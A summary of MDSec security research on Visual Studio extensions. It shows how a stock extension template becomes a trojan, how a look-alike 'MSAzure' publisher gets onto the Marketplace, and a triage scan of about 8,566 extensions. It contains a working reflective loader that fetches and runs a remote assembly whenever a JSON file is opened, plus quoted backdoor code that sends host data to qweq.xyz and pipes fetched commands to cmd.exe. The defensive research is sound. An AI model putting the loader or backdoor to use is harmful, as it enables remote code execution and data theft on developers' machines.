Executive Summary
Three years after their original work on VS Code extensions for red-team initial access, MDSec revisits the larger sibling — Visual Studio proper — and finds the security posture essentially unchanged. A stock VisualStudio.Extensibility template, lightly modified to fetch a base64-encoded .NET assembly over HTTP and load it via reflection inside ServiceHub.Host.Extensibility.arm64.exe, runs cleanly end-to-end. Publishing that extension on the Visual Studio Marketplace under an arbitrary publisher name (MSAzure — the only blocked keywords are Microsoft and Azure themselves) takes ten minutes; the “verification” that follows is not security-related and does not block the upload.
The back half of the post is a triage pipeline applied to the live Marketplace. From a corpus of 9,910 unique extensions, 8,566 were analysable VSIX packages; the remainder were OLE2 legacy bundles, oversized archives, or PE/MSI installers. Each was unpacked, decompiled with ilspycmd, and run through two classifier lanes — credential/regex matching and behavioural-cluster matching — which together flagged 1,153 extensions for review. Claude Opus performed first-pass triage and an agent loop with S3 tooling did the deeper investigations. No active malware was found in good standing on the Marketplace, but the pipeline surfaced vs-publisher-1477920/FVsEx, an extension whose TryGetTips() method fetches commands from http://fvsex/Statistics/?macAddr=… and dispatches them to cmd.exe — a clear backdoor shape with no plausible legitimate use.

Introduction
The starting point is a 2023 MDSec piece on VS Code extensions as an initial-access surface. In the intervening years GitHub itself was compromised via a malicious VS Code extension. Visual Studio — a heavier, older product than VS Code, with deeper Windows integration and a smaller but more captive enterprise audience — has been comparatively unexamined. The author’s thesis going in is that the extension ecosystem there is “as much of a dumpster fire as ever”, and the rest of the post sets out to demonstrate it from both the offence and the recon sides.
Building Visual Studio Malware Extensions
There are two extension models in modern Visual Studio: the classic VSSDK (in-process, runs as part of devenv.exe, .NET Framework), and the newer VisualStudio.Extensibility (out-of-process, modern .NET, runs inside ServiceHub.Host.Extensibility.<arch>.exe). MDSec focuses on the latter; the templates target net8.0, the surface area is smaller, and the out-of-process model gives Microsoft an architectural argument that extensions are less dangerous — an argument that turns out to mean nothing in practice once you can execute arbitrary code in the extension host.

VisualStudio.Extensibility command-handler template. Source: original article.The generated template is small. A single command is registered for the Extensions menu and shows a prompt:
using Microsoft;
using Microsoft.VisualStudio.Extensibility;
using Microsoft.VisualStudio.Extensibility.Commands;
using Microsoft.VisualStudio.Extensibility.Shell;
using System.Diagnostics;
namespace HelloWorldExtension
{
/// <summary>
/// Command1 handler.
/// </summary>
[VisualStudioContribution]
internal class Command1 : Command
{
private readonly TraceSource logger;
public Command1(TraceSource traceSource)
{
this.logger = Requires.NotNull(traceSource, nameof(traceSource));
}
public override CommandConfiguration CommandConfiguration => new("%HelloWorldExtension.Command1.DisplayName%")
{
Icon = new(ImageMoniker.KnownValues.Extension, IconSettings.IconAndText),
Placements = [CommandPlacement.KnownPlacements.ExtensionsMenu]
};
public override Task InitializeAsync(CancellationToken cancellationToken)
{
return base.InitializeAsync(cancellationToken);
}
public override async Task ExecuteCommandAsync(IClientContext context, CancellationToken cancellationToken)
{
await this.Extensibility.Shell().ShowPromptAsync("Hello from an extension!", PromptOptions.OK, cancellationToken);
}
}
}

For a malware-style trigger, a user-clicked command is unappealing. VisualStudio.Extensibility ships a richer event surface — for instance, ITextViewOpenClosedListener, which fires the moment a file of a registered document type is opened. The author demonstrates this with a deliberately benign-looking JSON auto-formatter that fires on every JSON file open and only edits the buffer when reformatting is genuinely necessary. The point isn’t the formatter; it’s the event — any code path inside TextViewOpenedAsync runs with full extension-host privileges every time the developer opens a JSON file.
using Microsoft.VisualStudio.Extensibility;
using Microsoft.VisualStudio.Extensibility.Editor;
using System.Diagnostics;
using System.Reflection;
using System.Text.Json;
namespace PrettyJson
{
[VisualStudioContribution]
internal class JsonAutoFormatListener : ExtensionPart, ITextViewOpenClosedListener
{
private static readonly JsonSerializerOptions PrettyOptions = new()
{
WriteIndented = true,
};
private readonly TraceSource logger;
public JsonAutoFormatListener(TraceSource traceSource)
{
this.logger = traceSource;
}
public TextViewExtensionConfiguration TextViewExtensionConfiguration => new()
{
AppliesTo = [DocumentFilter.FromDocumentType("json")],
};
public async Task TextViewOpenedAsync(ITextViewSnapshot textView, CancellationToken cancellationToken)
{
var document = textView.Document;
if (document.Length == 0)
{
return;
}
var fullRange = new TextRange(document, 0, document.Length);
var originalText = fullRange.CopyToString();
if (!TryPrettyFormat(originalText, out var prettyText))
{
this.logger.TraceEvent(TraceEventType.Information, 0, "Opened document is not valid JSON; leaving untouched.");
return;
}
if (string.Equals(originalText, prettyText, StringComparison.Ordinal))
{
return;
}
await this.Extensibility.Editor().EditAsync(
batch => document.AsEditable(batch).Replace(fullRange, prettyText),
cancellationToken);
}
public Task TextViewClosedAsync(ITextViewSnapshot textView, CancellationToken cancellationToken)
=> Task.CompletedTask;
private static bool TryPrettyFormat(string text, out string prettyText)
{
var trimmed = text.Trim();
if (trimmed.Length == 0)
{
prettyText = string.Empty;
return false;
}
try
{
using var doc = JsonDocument.Parse(trimmed, new JsonDocumentOptions
{
AllowTrailingCommas = true,
CommentHandling = JsonCommentHandling.Skip,
});
prettyText = JsonSerializer.Serialize(doc.RootElement, PrettyOptions);
return true;
}
catch (JsonException)
{
prettyText = string.Empty;
return false;
}
}
}
}
The malicious payload itself is the smallest possible reflective .NET loader: pull a base64 blob off an HTTP endpoint, decode it, load it into a fresh AssemblyLoadContext by reflection (so it survives across the extension host’s assembly resolution rules), invoke the entrypoint, and unload. The trigger is one line at the bottom of the listener:
try
{
var plain = await FetchUpdateAsync("http://192.168.200.2:8080/update.txt");
LoadUpdate(plain, new[] { "" });
}
catch (Exception ex)
{
}
private static async Task<byte[]> FetchUpdateAsync(string url)
{
using var client = new HttpClient();
var response = await client.GetAsync(url);
response.EnsureSuccessStatusCode();
var base64 = await response.Content.ReadAsStringAsync();
return Convert.FromBase64String(base64.Trim());
}
private static void LoadUpdate(byte[] rawAssembly, string[] args)
{
var loaderAsm = AppDomain.CurrentDomain.GetAssemblies()
.FirstOrDefault(a => a.GetName().Name == "System.Runtime.Loader")
?? Assembly.Load(new AssemblyName("System.Runtime.Loader"));
var alcType = loaderAsm.GetType("System.Runtime.Loader.AssemblyLoadContext");
var ctor = alcType.GetConstructor(new[] { typeof(string), typeof(bool) });
var ctx = ctor.Invoke(new object[] { Guid.NewGuid().ToString(), true });
var loadFn = alcType.GetMethod("LoadFromStream", new[] { typeof(Stream) });
using var ms = new MemoryStream(rawAssembly);
var asm = loadFn.Invoke(ctx, new object[] { ms });
var asmType = asm.GetType();
var entryProp = asmType.GetProperty("EntryPoint");
var entry = (MethodInfo)entryProp.GetValue(asm);
if (entry == null)
throw new InvalidOperationException("No entrypoint found.");
var parameters = entry.GetParameters();
object[] invokeArgs = parameters.Length == 0
? null
: new object[] { args };
try
{
var result = entry.Invoke(null, invokeArgs);
if (result is Task t)
t.GetAwaiter().GetResult();
}
catch (TargetInvocationException ex)
{
throw ex.InnerException ?? ex;
}
finally
{
var unload = alcType.GetMethod("Unload");
unload?.Invoke(ctx, null);
}
}
For the proof, the remote “update” is a trivial assembly that pops a MessageBox stating the process it is running inside — the cleanest possible evidence that the extension host (not devenv.exe) is the parent:
using System.Runtime.InteropServices;
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
var processName = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
MessageBox(IntPtr.Zero, processName, "Process", 0);

ServiceHub.Host.Extensibility.arm64.exe. Source: original article.

Publishing to the Visual Studio “Malwareplace”
The Marketplace accepts any Microsoft account as a publisher. Validation on the publisher name is shallow — the strings Microsoft and Azure are blocked outright, but trivial substitutions are not. MSAzure sails through; it then sits at the same URL shape as a legitimate Microsoft publisher (marketplace.visualstudio.com/publishers/MSAzure) and accepts arbitrary VSIX uploads.


Microsoft and Azure. Source: original article.
MSAzure publisher profile. Source: original article.VSIX upload is one form. The Marketplace runs an automated “verification” against the bundle, but per the writeup it does not appear to be security-related — the malicious assembly loader was published without intervention and remained publicly listed:



MSAzure.visualstudio extension as a public listing. Source: original article.Extension Attack Surface
Visual Studio does not expose a URL protocol handler for one-click installs the way VS Code does, so a drive-by from a link is off the table. The realistic delivery paths are:
- Phishing the VSIX as a file. Standard email-attachment / SharePoint-link tradecraft. The recipient runs the VS Installer, which prompts.
- The web Marketplace. Victim follows a link to a plausibly-named publisher and clicks Install; the in-browser Marketplace then drives the install via local protocol handlers.
- The in-IDE Marketplace browser. Victim searches inside Visual Studio for an extension by keyword. Naming, ratings and the verified-publisher badge dominate the visible signal.
- Supply-chain: take over an existing trusted publisher, push a malicious update, ride the existing install base.


An AllUsers install requires UAC elevation, which raises the bar slightly but is also the default the marketplace install flow tries first if the user has admin. Per-user installs drop the VSIX bundle into %LOCALAPPDATA%Temp during the marketplace-driven flow:


VS Installer by the marketplace install flow. Source: original article.Developer environments are an attractive target. They run with privileged source-code access, debugging surface that can attach to other processes, secrets baked into IDE-stored credentials, NuGet caches that other projects pull from, MSBuild and T4 template execution as part of the normal build — every one of those is a lateral-movement primitive the moment an attacker is inside the IDE host.
Mapping the Market
The recon side of the post is a triage pipeline applied to roughly 10,000 marketplace extensions. The pipeline has five stages:
- Acquisition — iterate the marketplace catalogue and pull every public extension.
- Unpacking — treat the VSIX as a ZIP, walk the manifest, extract the payload assemblies.
- Decompilation —
ilspycmd(the ICSharpCode.Decompiler / ILSpy engine) over each .NET assembly, producing readable C# for downstream classifiers. - LLM triage — Claude Opus is asked, per extension, whether the decompiled behaviour is consistent with the extension’s stated function.
- Agent investigation — flagged candidates are handed to a small agent loop with file-store tooling that performs deeper, multi-step analysis.
Of the 9,910 unique extensions, 8,566 were analysable VSIX bundles. The discards were 506 OLE2 legacy bundles (the older format predates VSIX), 485 archives too large to process under the budget, and 327 PE/MSI installer-wrapper extensions that the pipeline didn’t unpack. The 8,566 were fed through two parallel classifier lanes — a credential lane keyed on regex patterns for tokens, cloud secrets, hard-coded URLs and the like, and a behavioural lane built on clusters of suspicious operation sequences (network plus process-start, registry plus credential-store reads, etc.). Between the two lanes 1,153 extensions were flagged.
The headline finding is that the live Marketplace appears clean of actively-deployed commodity malware. The author flags the obvious caveat — a packed, obfuscated or staged extension would defeat this kind of static-only classifier — but the absence of plain bad actors in the corpus is itself noteworthy. The interesting positives split into three categories:
0x12DarkDevelopment/shellcodeEncryption— not malicious; the artefact of a training course on shellcode encryption.CELBuildTeam/EntraBuildAssistantandK1tty/RockMargin— telemetry collection, not backdoors.vs-publisher-1477920/FVsEx— the only finding that exhibits actual backdoor characteristics.

vs-publisher-1477920/FVsEx. Source: original article.FVsEx has two telltale methods. The first, Access(), reports host data — including the machine’s IP — to an external endpoint under the attacker’s control:
public static void Access(string name, string content)
{
HttpWebRequest httpWebRequest = WebRequest.CreateHttp(string.Concat(string.Concat(string.Concat("https://qweq.xyz/service/statistics.php?proj=fvsex" + "&name=" + name, "&ip=", name), "&content=", content), "&ip=", GetIp()));
httpWebRequest.Method = "GET";
using WebResponse webResponse = httpWebRequest.GetResponse();
using StreamReader streamReader = new StreamReader(webResponse.GetResponseStream());
Console.WriteLine("Statistics:" + streamReader.ReadToEnd());
}
The second, TryGetTips(), fetches a command from http://fvsex/Statistics/?macAddr=<mac>, parses the response on the | separator, and dispatches it: cmd runs the second field through a piped cmd.exe, msgbox raises a Windows MessageBox. The hostname is a bare hostname (fvsex) rather than a fully-qualified domain, which suggests an internal naming convention; the abuse pathway from a victim machine to that name isn’t obvious without the matching infrastructure side, but the shape is unambiguous.
private static void TryGetTips(object args)
{
try
{
string text = BitConverter.ToString(NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().GetAddressBytes());
string[] array = new StreamReader(((HttpWebResponse)WebRequest.Create("http://fvsex/Statistics/?macAddr=" + text).GetResponse()).GetResponseStream()).ReadToEnd().Split(new char[1] { '|' });
if (array.Length != 0)
{
switch (array[0])
{
case "cmd":
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardInput = true;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.CreateNoWindow = true;
process.Start();
process.StandardInput.WriteLine(array[1] + "&exit");
process.StandardInput.AutoFlush = true;
break;
}
case "msgbox":
MessageBox.Show(array[1]);
break;
}
}
}
catch (Exception)
{
}
}
The MDSec post closes with a short video of an end-to-end Marketplace install of one of their test extensions leading to a Nighthawk beacon callback — the punchline being that there is nothing between “benign-looking publisher” and “C2 in the developer’s IDE process” that you can rely on. The video is referenced inline in the original article.
Key Takeaways
- The Visual Studio Marketplace blocks only the literal strings
MicrosoftandAzurein publisher names. Trivial substitutions likeMSAzureare accepted and end up at the same URL shape as a real Microsoft publisher. - Marketplace “verification” on uploaded VSIXs is not security-related and does not block a malicious bundle from being published.
- A 60-line
HttpClient+AssemblyLoadContextreflection loader is all that’s needed to convert an extension into a remote-payload runner; the modern out-of-process extension host is no defence once the extension itself runs. - Event-driven triggers (
ITextViewOpenClosedListener, document type filters) make malicious behaviour invisible to the user — opening a JSON file is enough. - Developer IDEs are a privileged target: source code, secrets, MSBuild/T4 execution, NuGet caches, attach-to-process debugging. The blast radius from one compromised extension goes far beyond the IDE.
- Large-scale static triage of the Marketplace (8,566 analysable VSIXs through unpack →
ilspycmd→ classifier → LLM → agent) is feasible and surfaces real backdoors — in MDSec’s pass,vs-publisher-1477920/FVsEx. - The static-only caveat is real: a packed, obfuscated or runtime-staged payload defeats this pipeline. Absence of evidence in this corpus isn’t evidence of absence.
Defensive Recommendations
- Allow-list Visual Studio extensions per environment. Maintain an explicit list of approved publisher + extension identifiers for the developer fleet; block anything else from being installed via Group Policy / Intune / WDAC on the IDE host paths.
- Audit installed extensions across the fleet. Inventory the per-user (
%LOCALAPPDATA%MicrosoftVisualStudio…Extensions) and per-machine (%ProgramFiles%Microsoft Visual Studio…Common7IDEExtensions) directories. Anything you didn’t approve should not be there. - Block
ServiceHub.Host.Extensibility*.exefrom making outbound HTTP to non-allow-listed destinations. Egress filtering on the IDE’s extension host catches the cleanest tradecraft from the writeup (the HttpClient fetch of the encoded assembly). - Hunt for the reflective-loader byte pattern in extension DLLs. YARA on shipped extensions for
System.Runtime.Loader.AssemblyLoadContextreflection +LoadFromStreamusage is high-fidelity against this specific class of trojan extension; legitimate extensions almost never need it. - Watch the file system for VSIXs landing in
%LOCALAPPDATA%Temp. File-creation events for*.vsixoutside an approved install workflow are a high-signal anomaly during marketplace-driven installs. - Adopt look-alike publisher detection. Maintain a small block-list of homoglyph-style permutations of
Microsoft/Azure/GitHub/ your trusted ISVs and review their telemetry on first sight in the IDE’s marketplace browser. - Treat developer endpoints as crown-jewel hosts. EDR coverage, conditional access, hardware-bound credentials, source-access logging — developer machines have outsized blast radius and deserve the same investment as DC / admin tier hosts.
- Run your own static-triage pipeline. The MDSec recipe (acquire → unzip →
ilspycmd→ classify → LLM triage) is reproducible. Pointing it at the extensions installed across your fleet is cheaper than waiting for the next GitHub-style disclosure.
Conclusion
Three years after the original VS Code work, the Visual Studio extension surface is structurally the same: thin publisher validation, no security-relevant content scan on the Marketplace, an event-driven extension model that hands attacker code a full execution context on a JSON file open, and a developer audience whose machines are exactly the wrong place to host an attacker. The recon side is the more useful half of the post for defenders: an 8,566-extension static-triage pipeline runs on a modest budget and surfaces the single real backdoor on the platform (vs-publisher-1477920/FVsEx). The cost of running the same pipeline against your own installed-extension inventory is much smaller than the cost of finding out later that a developer machine had been ferrying commands from http://fvsex/Statistics/?macAddr=… to cmd.exe for months. Credit and thanks to MDSec Research and to Dominic Chell for the offensive build, the marketplace publishing walkthrough, the triage pipeline, and the FVsEx find.
References
- Visual Studio Extensions Revisited — MDSec Research (28/05/2026)
- Leveraging VSCode Extensions for Initial Access — MDSec, August 2023 (predecessor post)
- Investigating Unauthorized Access to GitHub’s Internal Repositories — GitHub Security Blog
- Visual Studio Marketplace
- MSAzure publisher profile on the Marketplace
- VisualStudio.Extensibility — Working with text (Microsoft Learn)
- Dominic Chell on X (@domchell)
Original text: “Visual Studio Extensions Revisited” by MDSec Research at MDSec (28/05/2026).

